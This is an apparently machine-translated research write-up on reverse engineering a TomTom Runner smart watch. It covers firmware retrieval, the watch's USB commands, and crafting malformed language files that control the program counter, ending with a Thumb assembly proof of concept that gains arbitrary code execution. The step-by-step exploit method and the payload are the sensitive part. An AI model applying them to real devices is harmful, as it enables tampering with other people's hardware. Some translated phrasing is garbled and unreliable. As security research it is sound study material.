Correct position for Pwn smart watch Removal

Correct position for Pwn smart watch Removal

Although specialization is the key to many fields, I personally think that too much professionalism in the field of information security will lead to narrow vision and one-sided views. Now I want to try out a field that I don't like very much. This article is about something I hate for a long time: embedded hardware reverse engineering.

0x00 motivation

Currently, Iot devices have many attractive points:

Simple processor architecture:Generally, the hardware and software of embedded firmware are simpler than general-purpose computers and smartphones/tablets with complicated operating systems. Fewer attack rescue measures:Such devices usually lack memory protection, such as ASLR, DEP, and stack detection. ARM processor architecture:Although I have some experience in reverse engineering for x86/x64, I once again found that understanding ARM is more important than understanding Intel processors, because Android, IOS, smartphones, and tablets use such an architecture.

This year, there is an obvious buzzword, Iot. I think we have reached the point where any electronic device will generate data and share it with the world.

0x01 preparation

This time, we will crack this smart watch.

The TomTom Runner

The first thing to do is to download firmware for all these devices. The firmware of these devices can be found on the manufacturer's official website or on the user's forum.

0x02 find a breakthrough from the outside

If you have chosen to intrude into TomTom, we will study it from the perspective of a hacker. Here, we do not want to remove this smart watch, nor use JTAG or Debug pins for hardware intrusion. It also seems that TomTom watches should have some protective measures, which should be difficult.

Therefore, from the external perspective, I think of the following attack methods:

GPS:If you have HackRF or similar radio peripherals, you can use a GPS receiver to attack the device, but personally, it doesn't make sense. Bluetooth:The device has a Bluetooth interface and runs a bit like a protocol-layer USB. According to my research, the device can be connected just like a USB device after Bluetooth pairing is successful. This can be implemented using ttblue. USB interface:This should be the most commonly used method, and we will discuss it later. 0x03 firmware

The first step to intrude into any device is to get its firmware package. I used to see how TomTom used the official software to upgrade the firmware for the watch.

When Wireshark is used to force a firmware update at the same time, you can find the file directory of the firmware:

If you are careful enough, you will find that this is a regular HTTP page without SSL. This will be used later. There are many files, but only useful:

0x000000F0 is the main hardware file. 0x0081000 * is a language resource file (English/German, etc ).

There are also some other files: device configuration files, GPS and BLE Module hardware. These two files are encrypted.

The largest file 0x000000F0 (nearly KB) should be the main firmware package. You can use the binwalk firmware analyzer to open and find these things:

$ binwalk -BEH 0x000000F0DECIMAL       HEXADECIMAL     HEURISTIC ENTROPY ANALYSIS--------------------------------------------------------------------------------1024          0x400           High entropy data, best guess: encrypted, size: 470544, 0     low entropy blocks

If you want to further crack the firmware, you can use vbindiff to compare the two different firmware versions:

Note:

Files are different in 16-byte blocks. Some blocks are intertwined with other blocks.

This indicates that this is probably a group password in ECB mode. The most common 16-byte password is AES.

We will analyze the firmware later. Now we can see what we can learn from the hardware of the device.

0x04 hardware

How can we understand the internal information of this watch without opening it? Basically all RF launch devices sold in the United States have been tested by the FCC, and then the FCC will publish a report containing a variety of information and photos:

Including these chips:

Micron N25Q032A13ESC40F: ** this is a 4 MB serial EEPROM, which is the "Hard Disk" of the device. All the exercise files are stored here. Texas Instruments CC2541: ** this is a Bluetooth chip. Atmel ATSAM4S8C: ** this is the core of the device, including: A Cortex-M4 ARM kernel, a memory of KB of memory that stores the firmware and boot package in the program

The GPS chip is soldered near the direction key. Now we have a full understanding of the internal device, and we can continue to intrude into the device.

0x05 USB communication

To fully understand the relevant knowledge, I found a good open-source software on ttwatch. Most of what TomTom does on Windows can be done.

I read the source code. In fact, USB communication on many smart watches only provides simple read/write commands for the EEPROM. At the same time, I also found a lot of interesting and unrecord USB commands for smart watches. In fact, USB communication is very simple. Each command contains at least the following Bytes:

09 02 01 0E"09" -> Indicates a command to the watch (preamble)"02" -> Size of message"01" -> sequence number. Should increment after each command."0E" -> Actual command byte (this one formats the EEPROM)

Most smart watches read or write commands from the previous 4 mb eeprom. Ttwatch has done this for us. We can read, write, and list these files:

root@kali:~/usb# ttwatch -l0x00000030: 160720x00810004: 41980x00810005: 41360x00810009: 39680x0081000b: 39800x0081000a: 41520x0081000e: 39570x0081000f: 41560x0081000c: 40030x00810002: 4115[...]     root@kali:~/usb# ttwatch -r 0x00f20000<?xml version="1.0" encoding="UTF-8"?><preferences version="1" modified="seg set 21 13:34:28 2015">    <ephemerisModified>0</ephemerisModified>    <SyncTimeToPC>1</SyncTimeToPC>    <SendAnonymousData>1</SendAnonymousData>    <WatchWindowMinimized>0</WatchWindowMinimized>    <watchName>lgrangeia</watchName>    <ConfigURL>https://mysports.tomtom.com/service/config/config.json</ConfigURL>    <exporters>    </exporters></preferences>

During the test, I found that if you write a firmware file that you saw in download.tomtom.com, the watch will restart and refresh the file the next time you disconnect the USB connection from the watch.

0x06 breakthrough

First, we want to view every file in the EEPROM, including the log file. Here is an example:

The above file indicates that the Bluetooth chip on the device has its own firmware and will be displayed after MD5 verification.

In fact, I am very interested in the parsed files, because these files are easy to modify and I think they should be well utilized. There are two types of files: motion information files and language files.

Motion files are in binary format (ttbin), and some tools, such as ttwatch, convert these files to other formats. However, I still choose to discard sports files, because this smart watch can only generate files instead of parsing files: There is an interface that will show you your recent running situation, but the device will never open the ttbin file to read it.

So it is much more interesting to use language files. Let's take a look at one of them at will:

The structure of this data section is very simple:

The first four bytes are a 32-bit integer, which is used to tell us the size of the file after removing the first eight bytes. The next four bytes are also a 32-bit integer, the number of ASCII strings contained in the file, called num_strings. The remaining files include strings ending with null, most of which are ASCII characters. Some characters cannot be printed, probably some custom bitmaps (some menu entries have icons, just like the "flight mode" option on the plane ).

In many cases, the parser cannot accurately parse this file, so I listed a series of problems to solve:

Format the string: I replaced each individual string with "% x"; sbuf_size is larger than the correct file size; num_strings is greater than the number of two correct strings ending with null; the string cannot contain null.

This structure is very simple, so we do not need an automatic vulnerability detection tool to detect.

The next thing is very simple. Use the hexadecimal editor on the computer to edit the file, and then use ttwatch to transfer the file to the device:

#!bash$ cat 00810003.bin | ttwatch -w 0x00810003

Note that each file corresponds to a different translation. I changed the German file, disconnected the USB connection of the device, set the language of the device to German, and finally solved the problem.

This device should be automatically restarted when you try to change the UI Language. Of course, it will be restarted in other cases, but this is still a bit different, because after that, the EEPROM (0x00013000) A new file is added:

$ ttwatch -r 0x00013000Crashlog - SW ver 1.8.42R1 = 0x00000000R2 = 0x00000002R3 = 0x00000f95R12 = 0x00000000LR [R14] = 0x00441939 subroutine call return addressPC [R15] = 0x2001b26c program counterPSR = 0x41000000BFAR = 0x010f0040CFSR = 0x00008200HFSR = 0x40000000DFSR = 0x00000000AFSR = 0x00000000Batt = 4160 mVstack hi = 0x000004d4

You are not mistaken! This is the crash log! We get a lot of useful things from this file. For example we can get some key register values, including program counters, R0-R3, R12, some status values, as well as battery power and stack size. After restarting, we repeat some processes and get some identical values of the registers, which means that this smart watch does not use any means of memory randomization.

Then there are many data tables and ARM documents. Soon I learned one of the most important information, that is, the execution process from the Flash ROM to the ARM area. This can be seen from the PC (program counter) value. The value is the memory area saved in RAM. Note the following data table from Atmel:

For some reason, the execution jumps from the ROM region to the SRAM near the region where the language file is loaded. The starting address is 0x20000000. If we can control the location of our language files or "push" The program counter in the correct direction, we can control the jump to the memory area on our own.

After some changes, I noticed two different types of crashes: the first is when I select an illegal language file, and the second is when I scroll the language from the menu. The second one will indeed cause a restart. It seems that language files will be loaded into RAM no matter whether you have any choice. This also gave me another idea: I can change the content of files in other languages to see if this will affect the register.

I changed the next language file in the language list of all letters B (ASCII code 0x42), did not change the value of sbuf_size and set num_strings to zero. The previous language files still have 6001 bits of sbuf_size. Then I restarted my watch and scroll down the language menu. Then the watch crashed:

Crashlog - SW ver 1.8.42 R0 = 0x2001b088 R1 = 0x42424242 R2 = 0x00000002 R3 = 0x00000f95 R12 = 0x00000000 LR [R14] = 0x00441939 subroutine call return address PC [R15] = 0x42424242 program counter PSR = 0x60000000 BFAR = 0xe000ed38 CFSR = 0x00000001 HFSR = 0x40000000 DFSR = 0x00000000 AFSR = 0x00000000 Batt = 4190 mV stack hi = 0x000004d4

We can control what is going into the program counter! Somehow, the execution process jumps to the address we control, that is, we can transfer the execution to any place in the memory, which means we can execute arbitrary code in TomTom.

0x06 Code Execution

Okay, now we know how to transfer it to any place in the memory. In a common operating system, there are many things we can do: system calls, standard library calls, and so on. But this device is not that good.

First, verify the execution of simple payload. The payload construction can be completed in the Assembly. The following is my first attempt:

.syntax unified.thumb    mov r2, #0x13mov r3, #0x37    add r1, r3, r2, lsl #8    mov r0, #0bx r0

Be sure to specify the Thumb command because the Cortex-M4 will only run in Thumb mode. The last two lines of the Code jump to the address 0x00000000, which will cause a crash each time, because the ARM processor will choose to use the ARM command or the Thumb Command Based on the flag at the end of the bx jump command address. Currently, the slave bit is 0, so we use the ARM command. And as I said before, ARM ortex-M4 only supports Thumb, so the error.

We can use a cross compiler tool to solve this problem in a non-ARM Linux system. Like this:

#!bash$ arm-none-eabi-as -mcpu=cortex-m4 -o first.o first.s

This is the compiled code. Use objdump to decompile it:

$ arm-linux-gnueabi-objdump -d first.o     first.o:     file format elf32-littlearm     Disassembly of section .text:00000000 <.text>:   0:   f04f 0213   mov.w   r2, #19   4:   f04f 0337   mov.w   r3, #55 ; 0x37   8:   eb03 2102   add.w   r1, r3, r2, lsl #8   c:   f04f 0000   mov.w   r0, #0  10:   4700        bx  r0

The next step is to put the payload in the device. We put this in a German file, and then point the pointer (the fourth double character in the second file) for the jump command to it.

The following figure shows all the content set in the second file (0x00810003:

The fourth double character clearly points to our payload, And then I load the file into my watch, and execute the jump using the selected language as before. After another crash, we get this crash log (note lines 1st, 2, and 3 ):

Crashlog - SW ver 1.8.42 R0 = 0x00000000 R1 = 0x00001337 R2 = 0x00000013 R3 = 0x00000037 R12 = 0x00000000 LR [R14] = 0x00441939 subroutine call return address PC [R15] = 0x00000000 program counter PSR = 0x20000000 BFAR = 0xe000ed38 CFSR = 0x00020000 HFSR = 0x40000000 DFSR = 0x00000000 AFSR = 0x00000000 Batt = 4192 mV stack hi = 0x000004d4

As shown in, we can execute any code in the closed firmware of an Iot device now!